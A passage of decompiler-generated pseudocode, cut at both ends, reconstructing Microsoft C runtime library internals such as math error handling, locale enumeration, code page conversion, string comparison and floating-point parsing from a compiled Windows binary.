v12 = strlen(*v6); v11 = *v6; v7 = GetStdHandle(0xFFFFFFF4u); WriteFile(v7, v11, v12, &bytes_written, 0); } } } // 1535F670: using guessed type int __error_mode; //----- (0060D730) -------------------------------------------------------- void __cdecl __libm_error_support(void *arg1, void *arg2, void *retval, error_types input_tag) { double v4; // st7@26 double v5; // st7@28 double v6; // st7@59 int exc; // [sp+8h] [bp-24h]@12 char v8[4]; // [sp+Ch] [bp-20h]@11 double v9; // [sp+10h] [bp-1Ch]@28 double v10; // [sp+18h] [bp-14h]@28 double v11; // [sp+20h] [bp-Ch]@28 unsigned int v12; // [sp+28h] [bp-4h]@1 int v13; // [sp+2Ch] [bp+0h]@1 v12 = (unsigned int)&v13 ^ __security_cookie; if ( (signed int)input_tag > 161 ) { if ( (signed int)input_tag > 1002 ) { if ( input_tag == 1003 ) { *(_DWORD *)v8 = "atan"; } else { if ( input_tag == 1004 ) { *(_DWORD *)v8 = "ceil"; } else { if ( input_tag != 1005 ) { if ( input_tag != 1006 ) { if ( input_tag != 1007 ) return; *(_DWORD *)v8 = "modf"; goto LABEL_58; } goto LABEL_54; } *(_DWORD *)v8 = "floor"; } } } else { if ( input_tag != 1002 ) { if ( input_tag != 162 ) { if ( input_tag == 166 ) { exc = 3; *(_DWORD *)v8 = "exp10"; goto LABEL_45; } if ( input_tag == 170 ) { exc = 2; *(_DWORD *)v8 = "log2"; goto LABEL_45; } if ( input_tag == 171 ) { *(_DWORD *)v8 = "log2"; goto LABEL_59; } if ( input_tag == 1000 ) { *(_DWORD *)v8 = "log"; } else { if ( input_tag != 1001 ) return; *(_DWORD *)v8 = "log10"; } goto LABEL_58; } exc = 4; LABEL_44: *(_DWORD *)v8 = "exp2"; goto LABEL_45; } *(_DWORD *)v8 = "exp"; } LABEL_58: *(double *)retval = *(double *)arg1; goto LABEL_59; } if ( input_tag == 161 ) { exc = 3; goto LABEL_44; } if ( (signed int)input_tag <= 24 ) { if ( input_tag != 24 ) { if ( input_tag == 2 ) { exc = 2; *(_DWORD *)v8 = "log"; goto LABEL_45; } if ( input_tag == 3 ) { *(_DWORD *)v8 = "log"; } else { if ( input_tag == 8 ) { exc = 2; *(_DWORD *)v8 = "log10"; goto LABEL_45; } if ( input_tag != 9 ) { if ( input_tag != 14 ) { if ( input_tag != 15 ) return; *(_DWORD *)v8 = "exp"; goto LABEL_28; } exc = 3; *(_DWORD *)v8 = "exp"; LABEL_45: v9 = *(double *)arg1; v10 = *(double *)arg2; v11 = *(double *)retval; if ( !_pmatherr(&exc) ) *_errno() = 34; goto LABEL_61; } *(_DWORD *)v8 = "log10"; } LABEL_59: v9 = *(double *)arg1; v6 = *(double *)arg2; exc = 1; v10 = v6; v11 = *(double *)retval; if ( !_pmatherr(&exc) ) *_errno() = 33; goto LABEL_61; } exc = 3; LABEL_18: *(_DWORD *)v8 = "pow"; goto LABEL_45; } if ( input_tag == 25 ) { *(_DWORD *)v8 = "pow"; LABEL_28: v9 = *(double *)arg1; v5 = *(double *)arg2; exc = 4; v10 = v5; v11 = *(double *)retval; _pmatherr(&exc); LABEL_61: v4 = v11; goto LABEL_62; } if ( input_tag != 26 ) { if ( input_tag == 27 ) { exc = 2; goto LABEL_18; } if ( input_tag != 28 ) { if ( input_tag != 29 ) return; *(_DWORD *)v8 = "pow"; goto LABEL_58; } LABEL_54: *(_DWORD *)v8 = "pow"; goto LABEL_59; } v4 = 1.0; LABEL_62: *(_QWORD *)retval = *(_QWORD *)&v4; } // 6B7E20: using guessed type int (__cdecl *_pmatherr)(_DWORD); //----- (0060F1AE) -------------------------------------------------------- long double __cdecl _except1(int flags, int opcode, long double arg, long double result, unsigned int cw) { int v5; // eax@3 long double v6; // st7@5 ULONG_PTR prec; // [sp+1Ch] [bp-80h]@2 int v8; // [sp+5Ch] [bp-40h]@2 unsigned int v9; // [sp+98h] [bp-4h]@1 int v10; // [sp+9Ch] [bp+0h]@1 v9 = (unsigned int)&v10 ^ __security_cookie; if ( !_handle_exc(flags, &result, cw) ) { v8 &= 0xFFFFFFFEu; _raise_exc((_FPIEEE_RECORD *)&prec, &cw, flags, opcode, &arg, &result); } v5 = _errcode(flags); if ( _matherr_flag || !v5 ) { _set_errno(v5); _ctrlfp(cw, 0xFFFFu); v6 = result; } else { v6 = _umatherr(v5, opcode, arg, 0.0, result, cw); } return v6; } //----- (0060F26A) -------------------------------------------------------- long double __cdecl _except2(int flags, int opcode, long double arg1, long double arg2, long double result, unsigned int cw) { int v6; // eax@3 long double v7; // st7@5 ULONG_PTR prec; // [sp+1Ch] [bp-80h]@2 long double v9; // [sp+4Ch] [bp-50h]@2 int v10; // [sp+5Ch] [bp-40h]@2 unsigned int v11; // [sp+98h] [bp-4h]@1 int v12; // [sp+9Ch] [bp+0h]@1 v11 = (unsigned int)&v12 ^ __security_cookie; if ( !_handle_exc(flags, &result, cw) ) { v9 = arg2; v10 = v10 & 0xFFFFFFE3 | 3; _raise_exc((_FPIEEE_RECORD *)&prec, &cw, flags, opcode, &arg1, &result); } v6 = _errcode(flags); if ( _matherr_flag || !v6 ) { _set_errno(v6); _ctrlfp(cw, 0xFFFFu); v7 = result; } else { v7 = _umatherr(v6, opcode, arg1, arg2, result, cw); } return v7; } //----- (0061029E) -------------------------------------------------------- int __usercall ProcessCodePage(char *lpCodePageStr) { char *v1; // esi@1 int result; // eax@7 unsigned int v3; // [sp-Ch] [bp-1Ch]@5 char *v4; // [sp-8h] [bp-18h]@5 int v5; // [sp-4h] [bp-14h]@5 char chCodePage[8]; // [sp+4h] [bp-Ch]@5 unsigned int v7; // [sp+Ch] [bp-4h]@1 int v8; // [sp+10h] [bp+0h]@1 v1 = lpCodePageStr; v7 = (unsigned int)&v8 ^ __security_cookie; if ( lpCodePageStr && *lpCodePageStr && strcmp(lpCodePageStr, "ACP") ) { if ( strcmp(v1, "OCP") ) return atol(v1); v5 = 8; v4 = chCodePage; v3 = 11; } else { v5 = 8; v4 = chCodePage; v3 = 4100; } result = pfnGetLocaleInfoA(lcidCountry, v3, v4, v5); if ( !result ) return result; v1 = chCodePage; return atol(v1); } //----- (0061046B) -------------------------------------------------------- int __stdcall CountryEnumProc(char *lpLcidString) { unsigned int v1; // esi@1 int result; // eax@2 char rgcInfo[120]; // [sp+4h] [bp-7Ch]@1 unsigned int v4; // [sp+7Ch] [bp-4h]@1 int v5; // [sp+80h] [bp+0h]@1 v4 = (unsigned int)&v5 ^ __security_cookie; v1 = LcidFromHexString(lpLcidString); if ( pfnGetLocaleInfoA(v1, bAbbrevCountry != 0 ? 7 : 4098, rgcInfo, 120) ) { if ( !_stricmp(pchCountry, rgcInfo) ) { if ( TestDefaultCountry(v1) ) { iLcidState |= 4u; lcidCountry = v1; lcidLanguage = v1; } } result = ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } else { iLcidState = 0; result = 1; } return result; } //----- (00610503) -------------------------------------------------------- int __cdecl TestDefaultLanguage(unsigned int lcid, int bTestPrimary) { size_t v2; // esi@4 char rgcInfo[120]; // [sp+0h] [bp-7Ch]@1 unsigned int v5; // [sp+78h] [bp-4h]@1 int v6; // [sp+7Ch] [bp+0h]@1 v5 = (unsigned int)&v6 ^ __security_cookie; return pfnGetLocaleInfoA(lcid & 0x3FF | 0x400, 1u, rgcInfo, 120) && (lcid == LcidFromHexString(rgcInfo) || !bTestPrimary || (v2 = strlen(pchLanguage), GetPrimaryLen(pchLanguage) != v2)); } //----- (00610578) -------------------------------------------------------- int __stdcall LangCountryEnumProc(char *lpLcidString) { unsigned int v1; // esi@1 int v3; // [sp-Ch] [bp-8Ch]@23 char rgcInfo[120]; // [sp+4h] [bp-7Ch]@1 unsigned int v5; // [sp+7Ch] [bp-4h]@1 int v6; // [sp+80h] [bp+0h]@1 v5 = (unsigned int)&v6 ^ __security_cookie; v1 = LcidFromHexString(lpLcidString); if ( !pfnGetLocaleInfoA(v1, bAbbrevCountry != 0 ? 7 : 4098, rgcInfo, 120) ) { iLcidState = 0; return 1; } if ( !_stricmp(pchCountry, rgcInfo) ) { if ( !pfnGetLocaleInfoA(v1, bAbbrevLanguage != 0 ? 3 : 4097, rgcInfo, 120) ) { LABEL_18: iLcidState = 0; return 1; } if ( !_stricmp(pchLanguage, rgcInfo) ) { LOWORD(iLcidState) = iLcidState | 0x304; lcidLanguage = v1; LABEL_15: lcidCountry = v1; goto LABEL_16; } if ( iLcidState & 2 ) goto LABEL_16; if ( !iPrimaryLen || _strnicmp(pchLanguage, rgcInfo, iPrimaryLen) ) { if ( !(iLcidState & 1) && TestDefaultCountry(v1) ) { iLcidState |= 1u; goto LABEL_15; } } else { iLcidState |= 2u; lcidCountry = v1; if ( strlen(pchLanguage) == iPrimaryLen ) lcidLanguage = v1; } } LABEL_16: if ( (iLcidState & 0x300) != 768 ) { if ( !pfnGetLocaleInfoA(v1, bAbbrevLanguage != 0 ? 3 : 4097, rgcInfo, 120) ) goto LABEL_18; if ( _stricmp(pchLanguage, rgcInfo) ) { if ( bAbbrevLanguage || !iPrimaryLen || _strnicmp(pchLanguage, rgcInfo, iPrimaryLen) ) return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; v3 = 0; } else { BYTE1(iLcidState) |= 2u; if ( bAbbrevLanguage || !iPrimaryLen || strlen(pchLanguage) != iPrimaryLen ) goto LABEL_29; v3 = 1; } if ( TestDefaultLanguage(v1, v3) ) { LABEL_29: BYTE1(iLcidState) |= 1u; if ( !lcidLanguage ) lcidLanguage = v1; return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } } return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } //----- (00610796) -------------------------------------------------------- int __stdcall LanguageEnumProc(char *lpLcidString) { unsigned int v1; // esi@1 int v3; // [sp-4h] [bp-84h]@5 char rgcInfo[120]; // [sp+4h] [bp-7Ch]@1 unsigned int v5; // [sp+7Ch] [bp-4h]@1 int v6; // [sp+80h] [bp+0h]@1 v5 = (unsigned int)&v6 ^ __security_cookie; v1 = LcidFromHexString(lpLcidString); if ( !pfnGetLocaleInfoA(v1, bAbbrevLanguage != 0 ? 3 : 4097, rgcInfo, 120) ) { iLcidState = 0; return 1; } if ( _stricmp(pchLanguage, rgcInfo) ) { if ( bAbbrevLanguage || !iPrimaryLen || _strnicmp(pchLanguage, rgcInfo, iPrimaryLen) ) return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; v3 = 0; } else { if ( bAbbrevLanguage ) { LABEL_11: iLcidState |= 4u; lcidCountry = v1; lcidLanguage = v1; return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } v3 = 1; } if ( TestDefaultLanguage(v1, v3) ) goto LABEL_11; return ~(unsigned __int8)((unsigned int)iLcidState >> 2) & 1; } //----- (00610D02) -------------------------------------------------------- int __cdecl __crtCompareStringA(unsigned int Locale, unsigned int dwCmpFlags, const char *lpString1, int cchCount1, const char *lpString2, int cchCount2, int code_page) { const char *v7; // ebx@1 void *v8; // edi@1 signed int v9; // eax@8 char *v11; // eax@26 unsigned __int8 v12; // dl@27 char *v13; // eax@35 unsigned __int8 v14; // dl@36 int v15; // ebx@41 void *v16; // esp@42 void *v17; // eax@42 int v18; // esi@46 void *v19; // esp@47 void *v20; // edi@47 UINT v21; // ebx@59 int v22; // eax@61 int v23; // esi@61 int v24; // esi@68 int v26; // [sp+0h] [bp-64h]@42 int *wbuffer2; // [sp+Ch] [bp-58h]@47 int buff_size2; // [sp+10h] [bp-54h]@46 int malloc_flag1; // [sp+14h] [bp-50h]@13 int buff_size1; // [sp+18h] [bp-4Ch]@41 int retcode; // [sp+1Ch] [bp-48h]@13 int malloc_flag2; // [sp+20h] [bp-44h]@13 void *cbuffer2; // [sp+24h] [bp-40h]@57 char *lpString1a; // [sp+28h] [bp-3Ch]@1 LPWSTR wbuffer1; // [sp+2Ch] [bp-38h]@42 PCNZCH lpString2a; // [sp+30h] [bp-34h]@1 struct _cpinfo lpCPInfo; // [sp+34h] [bp-30h]@23 unsigned int v38; // [sp+48h] [bp-1Ch]@1 CPPEH_RECORD ms_exc; // [sp+4Ch] [bp-18h]@42 int v40; // [sp+64h] [bp+0h]@1 v38 = (unsigned int)&v40 ^ __security_cookie; lpString1a = (char *)lpString1; v7 = lpString2; lpString2a = lpString2; v8 = 0; if ( !f_use_2 ) { if ( CompareStringW(0, 0, &SrcStr, 1, &SrcStr, 1) ) { f_use_2 = 1; } else { if ( GetLastError() == 120 ) f_use_2 = 2; } } if ( cchCount1 > 0 ) cchCount1 = strncnt(lpString1, cchCount1); v9 = cchCount2; if ( cchCount2 > 0 ) { v9 = strncnt(v7, cchCount2); cchCount2 = v9; } if ( f_use_2 == 2 || !f_use_2 ) { cbuffer2 = 0; if ( !Locale ) Locale = dword_1535F97C; v21 = code_page; if ( !code_page ) v21 = __lc_codepage; v22 = __ansicp(Locale); v23 = v22; if ( v22 == -1 ) return 0; if ( v22 != v21 ) { v8 = __convertcp(v21, v22, lpString1a, &cchCount1, 0, 0); if ( !v8 ) return 0; cbuffer2 = __convertcp(v21, v23, lpString2a, &cchCount2, 0, 0); if ( !cbuffer2 ) { free(v8); return 0; } lpString1a = (char *)v8; lpString2a = (PCNZCH)cbuffer2; } v24 = CompareStringA(Locale, dwCmpFlags, lpString1a, cchCount1, lpString2a, cchCount2); if ( v8 ) { free(v8); free(cbuffer2); } return v24; } if ( f_use_2 != 1 ) return 0; malloc_flag1 = 0; malloc_flag2 = 0; retcode = 0; if ( !code_page ) code_page = __lc_codepage; if ( cchCount1 && v9 ) goto LABEL_73; if ( cchCount1 == v9 ) return 2; if ( v9 > 1 ) return 1; if ( cchCount1 > 1 ) return 3; if ( !GetCPInfo(code_page, &lpCPInfo) ) return 0; if ( cchCount1 > 0 ) { if ( lpCPInfo.MaxCharSize >= 2 ) { v11 = lpCPInfo.LeadByte; if ( lpCPInfo.LeadByte[0] ) { while ( 1 ) { v12 = v11[1]; if ( !v12 ) break; if ( *lpString1 >= (unsigned __int8)*v11 && *lpString1 <= v12 ) return 2; v11 += 2; if ( !*v11 ) return 3; } } } return 3; } if ( cchCount2 <= 0 ) { LABEL_73: v15 = MultiByteToWideChar(code_page, 9u, lpString1, cchCount1, 0, 0); buff_size1 = v15; if ( v15 ) { v16 = alloca(2 * v15); ms_exc.old_esp = (DWORD)&v26; wbuffer1 = (LPWSTR)&v26; ms_exc.disabled = -1; v17 = &v26; if ( &v26 ) { LABEL_45: if ( MultiByteToWideChar(code_page, 1u, lpString1, cchCount1, (LPWSTR)v17, v15) ) { v18 = MultiByteToWideChar(code_page, 9u, lpString2a, cchCount2, 0, 0); buff_size2 = v18; if ( v18 ) { v19 = alloca(2 * v18); ms_exc.old_esp = (DWORD)&v26; v20 = &v26; wbuffer2 = &v26; ms_exc.disabled = -1; if ( &v26 ) { LABEL_50: if ( MultiByteToWideChar(code_page, 1u, lpString2a, cchCount2, (LPWSTR)v20, v18) ) retcode = CompareStringW(Locale, dwCmpFlags, wbuffer1, v15, (PCNZWCH)v20, v18); if ( malloc_flag2 ) free(v20); goto error_cleanup_1; } v20 = malloc(2 * v18); if ( v20 ) { malloc_flag2 = 1; goto LABEL_50; } } } error_cleanup_1: if ( malloc_flag1 ) free(wbuffer1); return retcode; } v17 = malloc(2 * v15); wbuffer1 = (LPWSTR)v17; if ( v17 ) { malloc_flag1 = 1; goto LABEL_45; } } return 0; } if ( lpCPInfo.MaxCharSize >= 2 ) { v13 = lpCPInfo.LeadByte; if ( lpCPInfo.LeadByte[0] ) { do { v14 = v13[1]; if ( !v14 ) break; if ( *v7 >= (unsigned __int8)*v13 && *v7 <= v14 ) return 2; v13 += 2; } while ( *v13 ); } } return 1; } //----- (00611936) -------------------------------------------------------- char *__cdecl _getdcwd_lk(int drive, char *pnbuf, int maxlen) { DWORD v4; // eax@6 int v5; // eax@9 char *v6; // ecx@10 LPSTR pname; // [sp+8h] [bp-80h]@6 const CHAR drvstr; // [sp+Ch] [bp-7Ch]@6 char v9; // [sp+Dh] [bp-7Bh]@6 char v10; // [sp+Eh] [bp-7Ah]@6 char v11; // [sp+Fh] [bp-79h]@6 char dirbuf[260]; // [sp+10h] [bp-78h]@1 unsigned int v13; // [sp+114h] [bp+8Ch]@1 v13 = (unsigned int)&dirbuf[120] ^ __security_cookie; if ( drive ) { if ( !_validdrive(drive) ) { *__doserrno() = 15; *_errno() = 13; return 0; } drvstr = drive + 64; v9 = 58; v10 = 46; v11 = 0; v4 = GetFullPathNameA(&drvstr, 0x104u, dirbuf, &pname); } else { v4 = GetCurrentDirectoryA(0x104u, dirbuf); } if ( !v4 || (v5 = v4 + 1, (unsigned int)v5 > 0x104) ) return 0; v6 = pnbuf; if ( pnbuf ) { if ( v5 > maxlen ) { *_errno() = 34; return 0; } } else { if ( v5 <= maxlen ) v5 = maxlen; v6 = (char *)malloc(v5); if ( !v6 ) { *_errno() = 12; return 0; } } return strcpy(v6, dirbuf); } //----- (00611A3D) -------------------------------------------------------- char *__cdecl _getcwd(char *pnbuf, int maxlen) { char *result; // eax@1 _lock(7); _getdcwd_lk(0, pnbuf, maxlen); _unlock(7); return result; } //----- (00611B25) -------------------------------------------------------- int __cdecl __ansicp(int lcid) { int result; // eax@2 CHAR nptr; // [sp+0h] [bp-Ch]@1 char v3; // [sp+6h] [bp-6h]@1 unsigned int v4; // [sp+8h] [bp-4h]@1 int v5; // [sp+Ch] [bp+0h]@1 v4 = (unsigned int)&v5 ^ __security_cookie; v3 = 0; if ( GetLocaleInfoA(lcid, 0x1004u, &nptr, 6) ) result = atol(&nptr); else result = -1; return result; } //----- (00611B6C) -------------------------------------------------------- char *__cdecl __convertcp(int fromCP, int toCP, const char *lpSrcStr, int *pcchSrc, char *lpDestStr, int cchDest) { int v6; // ebx@1 int v7; // esi@9 void *v8; // esp@15 void *v9; // ebx@15 void *v11; // eax@25 int v12; // eax@26 int v13; // [sp+0h] [bp-60h]@15 void *wbuffer; // [sp+Ch] [bp-54h]@15 int *v15; // [sp+10h] [bp-50h]@1 int malloc_flag; // [sp+14h] [bp-4Ch]@1 int cchSrc; // [sp+18h] [bp-48h]@1 LPCSTR lpMultiByteStr; // [sp+1Ch] [bp-44h]@1 void *v19; // [sp+20h] [bp-40h]@1 int buff_size; // [sp+24h] [bp-3Ch]@11 int sb; // [sp+28h] [bp-38h]@1 void *cbuffer; // [sp+2Ch] [bp-34h]@1 struct _cpinfo cpi; // [sp+30h] [bp-30h]@2 unsigned int v24; // [sp+44h] [bp-1Ch]@1 CPPEH_RECORD ms_exc; // [sp+48h] [bp-18h]@15 int v26; // [sp+60h] [bp+0h]@1 v24 = (unsigned int)&v26 ^ __security_cookie; lpMultiByteStr = lpSrcStr; v15 = pcchSrc; v19 = lpDestStr; cbuffer = 0; malloc_flag = 0; v6 = *pcchSrc; cchSrc = *pcchSrc; sb = 0; if ( fromCP == toCP ) { v9 = wbuffer; } else { if ( GetCPInfo(fromCP, &cpi) && cpi.MaxCharSize == 1 && GetCPInfo(toCP, &cpi) && cpi.MaxCharSize == 1 ) sb = 1; if ( sb ) { if ( v6 == -1 ) v7 = strlen(lpSrcStr) + 1; else v7 = v6; buff_size = v7; } else { v7 = buff_size; } if ( !sb ) { v7 = MultiByteToWideChar(fromCP, 1u, lpMultiByteStr, v6, 0, 0); buff_size = v7; if ( !v7 ) return 0; } ms_exc.disabled = 0; v8 = alloca(2 * v7); ms_exc.old_esp = (DWORD)&v13; v9 = &v13; wbuffer = &v13; memset(&v13, 0, 2 * v7); ms_exc.disabled = -1; if ( !&v13 ) { v9 = calloc(2u, v7); if ( !v9 ) return 0; malloc_flag = 1; } if ( MultiByteToWideChar(fromCP, 1u, lpMultiByteStr, cchSrc, (LPWSTR)v9, v7) ) { if ( v19 ) { if ( WideCharToMultiByte(toCP, 0, (LPCWSTR)v9, v7, (LPSTR)v19, cchDest, 0, 0) ) cbuffer = v19; } else { if ( sb || (v7 = WideCharToMultiByte(toCP, 0, (LPCWSTR)v9, v7, 0, 0, 0, 0)) != 0 ) { v11 = calloc(1u, v7); cbuffer = v11; if ( v11 ) { v12 = WideCharToMultiByte(toCP, 0, (LPCWSTR)v9, v7, (LPSTR)v11, v7, 0, 0); if ( v12 ) { if ( cchSrc != -1 ) *v15 = v12; } else { free(cbuffer); cbuffer = 0; } } } } } } if ( malloc_flag ) free(v9); return (char *)cbuffer; } //----- (00611D46) -------------------------------------------------------- int __cdecl __getlocaleinfo(int lc_type, unsigned int localehandle, unsigned int fieldtype, void *address) { void *v4; // edi@2 int v5; // esi@2 int v6; // eax@4 int v7; // esi@4 void *v8; // eax@5 void *v9; // eax@7 int *v11; // edi@15 char v12; // bl@17 signed int bufferused; // [sp+10h] [bp-20h]@2 char cbuffer[128]; // [sp+14h] [bp-1Ch]@1 unsigned int v15; // [sp+94h] [bp+64h]@1 v15 = (unsigned int)&cbuffer[28] ^ __security_cookie; if ( lc_type == 1 ) { v4 = cbuffer; bufferused = 0; v5 = __crtGetLocaleInfoA(localehandle, fieldtype, cbuffer, 128, 0); if ( !v5 ) { if ( GetLastError() != 122 || (v6 = __crtGetLocaleInfoA(localehandle, fieldtype, 0, 0, 0), (v7 = v6) == 0) || (v8 = malloc(v6), (v4 = v8) == 0) ) return -1; bufferused = 1; v5 = __crtGetLocaleInfoA(localehandle, fieldtype, (char *)v8, v7, 0); if ( !v5 ) goto LABEL_9; } v9 = malloc(v5); *(_DWORD *)address = v9; if ( !v9 ) { if ( !bufferused ) return -1; LABEL_9: free(v4); return -1; } strncpy((char *)v9, (const char *)v4, v5); if ( bufferused ) free(v4); } else { if ( lc_type || (v11 = (int *)wcbuffer, !__crtGetLocaleInfoW(localehandle, fieldtype, wcbuffer, 4, 0)) ) return -1; *(_BYTE *)address = 0; do { v12 = *(_BYTE *)v11; if ( !isdigit(*(_BYTE *)v11) ) break; v11 = (int *)((char *)v11 + 2); *(_BYTE *)address = v12 + 10 * *(_BYTE *)address - 48; } while ( (signed int)v11 < (signed int)&_crtInitCritSecAndSpinCount ); } return 0; } //----- (00612259) -------------------------------------------------------- INTRNCVT_STATUS __cdecl _ld12tod(_LDBL12 *pld12, DOUBLE *d) { return _ld12cvt(pld12, d, &DoubleFormat); } //----- (0061226F) -------------------------------------------------------- INTRNCVT_STATUS __cdecl _ld12tof(_LDBL12 *pld12, FLOAT *f) { return _ld12cvt(pld12, f, &FloatFormat); } //----- (00612285) -------------------------------------------------------- void __cdecl _atodbl(DOUBLE *d, char *str) { void *EndPtr; // [sp+4h] [bp-14h]@1 _LDBL12 ld12; // [sp+8h] [bp-10h]@1 unsigned int v4; // [sp+14h] [bp-4h]@1 int v5; // [sp+18h] [bp+0h]@1 v4 = (unsigned int)&v5 ^ __security_cookie; __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); _ld12tod(&ld12, d); } //----- (006122CA) -------------------------------------------------------- void __cdecl _atoflt(FLOAT *f, char *str) { void *EndPtr; // [sp+4h] [bp-14h]@1 _LDBL12 ld12; // [sp+8h] [bp-10h]@1 unsigned int v4; // [sp+14h] [bp-4h]@1 int v5; // [sp+18h] [bp+0h]@1 v4 = (unsigned int)&v5 ^ __security_cookie; __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); _ld12tof(&ld12, f); } //----- (00612D79) -------------------------------------------------------- void __cdecl _87except(int opcode, _exception *exc, unsigned __int16 *pcw16) { unsigned int v3; // ecx@1 bool v4; // zf@1 int v5; // eax@1 int v6; // eax@2 int v7; // eax@3 int v8; // eax@4 int v9; // eax@5 int v10; // eax@6 int v11; // ebx@14 unsigned int v12; // [sp-4h] [bp-94h]@8 int pcw; // [sp+Ch] [bp-84h]@1 ULONG_PTR prec; // [sp+10h] [bp-80h]@20 long double v15; // [sp+40h] [bp-50h]@19 int v16; // [sp+50h] [bp-40h]@18 unsigned int v17; // [sp+8Ch] [bp-4h]@1 int v18; // [sp+90h] [bp+0h]@1 v17 = (unsigned int)&v18 ^ __security_cookie; v3 = *pcw16; v5 = exc->type - 1; v4 = exc->type == 1; pcw = *pcw16; if ( v4 ) goto LABEL_27; v6 = v5 - 1; if ( !v6 ) { v12 = 4; goto LABEL_14; } v7 = v6 - 1; if ( !v7 ) { v12 = 17; goto LABEL_14; } v8 = v7 - 1; if ( !v8 ) { v12 = 18; goto LABEL_14; } v9 = v8 - 1; if ( !v9 ) { LABEL_27: v12 = 8; LABEL_14: v11 = v12; if ( !_handle_exc(v12, &exc->retval, v3) ) { if ( opcode == 16 || opcode == 22 || opcode == 29 ) { v15 = exc->arg2; v16 = v16 & 0xFFFFFFE3 | 3; } else { v16 &= 0xFFFFFFFEu; } _raise_exc((_FPIEEE_RECORD *)&prec, (unsigned int *)&pcw, v11, opcode, &exc->arg1, &exc->retval); } goto LABEL_21; } v10 = v9 - 2; if ( !v10 ) { exc->type = 1; goto LABEL_21; } if ( v10 == 1 ) { v12 = 16; goto LABEL_14; } LABEL_21: _ctrlfp(pcw, 0xFFFFu); if ( exc->type == 8 || _matherr_flag || !__init_collate() ) _set_errno(exc->type); } //----- (00613031) -------------------------------------------------------- unsigned int __cdecl __strgtold12(_LDBL12 *pld12, const char **p_end_ptr, const char *str, int mult12, int scale, int decpt, int implicit_E) { signed int v7; // ecx@1 char *v8; // esi@1 const char *v9; // edi@1 const char v10; // al@2 unsigned __int8 v11; // bl@7 int v12; // ecx@59 int v13; // esi@94 int i; // eax@100 int v15; // eax@106 int v16; // eax@108 __int16 v17; // cx@114 int v18; // esi@114 signed int v19; // edx@114 signed __int16 v20; // ax@114 unsigned int result; // eax@119 signed int v22; // [sp-8h] [bp-74h]@10 signed int v23; // [sp-8h] [bp-74h]@12 signed int exp_sign; // [sp+10h] [bp-5Ch]@1 signed int found_exponent; // [sp+14h] [bp-58h]@1 signed int found_decpoint; // [sp+18h] [bp-54h]@1 signed __int16 man_sign; // [sp+1Ch] [bp-50h]@1 int pow; // [sp+20h] [bp-4Ch]@1 unsigned int result_flags; // [sp+24h] [bp-48h]@1 signed int found_digit; // [sp+28h] [bp-44h]@1 int savedp; // [sp+2Ch] [bp-40h]@1 int exp_adj; // [sp+30h] [bp-3Ch]@1 unsigned int manlen; // [sp+34h] [bp-38h]@1 char *manp; // [sp+38h] [bp-34h]@94 int tmpld12; // [sp+3Ch] [bp-30h]@106 int v36; // [sp+42h] [bp-2Ah]@114 int v37; // [sp+46h] [bp-26h]@114 char buf; // [sp+4Ch] [bp-20h]@1 char v39; // [sp+63h] [bp-9h]@73 unsigned int v40; // [sp+68h] [bp-4h]@1 int v41; // [sp+6Ch] [bp+0h]@1 v40 = (unsigned int)&v41 ^ __security_cookie; v7 = 0; v8 = &buf; man_sign = 0; exp_sign = 1; manlen = 0; found_digit = 0; found_decpoint = 0; found_exponent = 0; pow = 0; exp_adj = 0; result_flags = 0; v9 = str; savedp = (int)str; while ( 1 ) { v10 = *v9; if ( *v9 != 32 ) { if ( v10 != 9 && v10 != 10 && v10 != 13 ) break; } ++v9; } while ( 2 ) { v11 = *v9++; switch ( v7 ) { case 0: if ( (char)v11 >= 49 && (char)v11 <= 57 ) goto LABEL_10; if ( v11 == __decimal_point ) goto LABEL_12; v7 = 2; if ( v11 == 43 ) { man_sign = 0; continue; } if ( v11 == 45 ) { man_sign = -32768; continue; } if ( v11 == 48 ) goto LABEL_36; --v9; goto LABEL_71; case 1: v7 = 1; found_digit = 1; if ( (char)v11 >= 49 && (char)v11 <= 57 ) goto LABEL_10; if ( v11 == __decimal_point ) goto LABEL_22; if ( v11 == 43 || v11 == 45 ) goto LABEL_31; if ( v11 == 48 ) continue; goto LABEL_26; case 2: if ( (char)v11 >= 49 && (char)v11 <= 57 ) { LABEL_10: v22 = 3; goto LABEL_81; } if ( v11 == __decimal_point ) { LABEL_12: v23 = 5; goto LABEL_89; } if ( v11 != 48 ) goto LABEL_83; LABEL_36: v7 = 1; continue; case 3: found_digit = 1; while ( isdigit(v11) ) { if ( manlen >= 0x19 ) { ++exp_adj; } else { ++manlen; *v8++ = v11 - 48; } v11 = *v9++; } if ( v11 != __decimal_point ) goto LABEL_54; LABEL_22: v23 = 4; goto LABEL_89; case 4: found_digit = 1; found_decpoint = 1; if ( !manlen ) { while ( v11 == 48 ) { --exp_adj; v11 = *v9++; } } while ( isdigit(v11) ) { if ( manlen < 0x19 ) { ++manlen; *v8++ = v11 - 48; --exp_adj; } v11 = *v9++; } LABEL_54: if ( v11 == 43 || v11 == 45 ) { LABEL_31: --v9; v23 = 11; } else { LABEL_26: if ( (char)v11 <= 67 || (char)v11 > 69 && ((char)v11 <= 99 || (char)v11 > 101) ) { LABEL_70: --v9; goto LABEL_71; } v23 = 6; } goto LABEL_89; case 5: found_decpoint = 1; if ( !isdigit(v11) ) goto LABEL_83; v22 = 4; goto LABEL_81; case 6: v12 = (int)(v9 - 2); savedp = (int)(v9 - 2); if ( (char)v11 >= 49 && (char)v11 <= 57 ) goto LABEL_80; if ( v11 == 43 ) goto LABEL_88; if ( v11 == 45 ) goto LABEL_87; if ( v11 == 48 ) goto LABEL_64; goto LABEL_93; case 8: found_exponent = 1; while ( v11 == 48 ) v11 = *v9++; if ( (char)v11 < 49 || (char)v11 > 57 ) goto LABEL_70; goto LABEL_80; case 7: if ( (char)v11 >= 49 && (char)v11 <= 57 ) { LABEL_80: v22 = 9; LABEL_81: v7 = v22; --v9; continue; } if ( v11 != 48 ) { LABEL_83: v9 = (const char *)savedp; goto LABEL_71; } LABEL_64: v23 = 8; goto LABEL_89; case 11: if ( !implicit_E ) { v7 = 10; --v9; LABEL_91: if ( v7 == 10 ) goto LABEL_71; continue; } v12 = (int)(v9 - 1); savedp = (int)(v9 - 1); if ( v11 == 43 ) { LABEL_88: v23 = 7; 